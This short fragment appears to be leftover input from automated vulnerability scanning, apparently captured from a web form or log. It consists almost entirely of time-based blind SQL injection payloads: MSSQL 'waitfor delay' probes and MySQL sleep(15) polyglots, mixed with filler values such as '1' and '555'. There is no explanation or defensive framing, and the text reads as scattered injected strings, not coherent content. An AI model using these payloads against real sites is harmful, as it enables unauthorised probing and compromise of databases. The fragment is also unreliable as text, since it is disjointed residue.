(4XiITFSU'); waitfor delay '0:0:15' -- )

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1

555

(tfgIEBTw'; waitfor delay '0:0:15' -- )

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555

(1 waitfor delay '0:0:15' -- )

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1

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((select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/)

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(0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z)

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1

555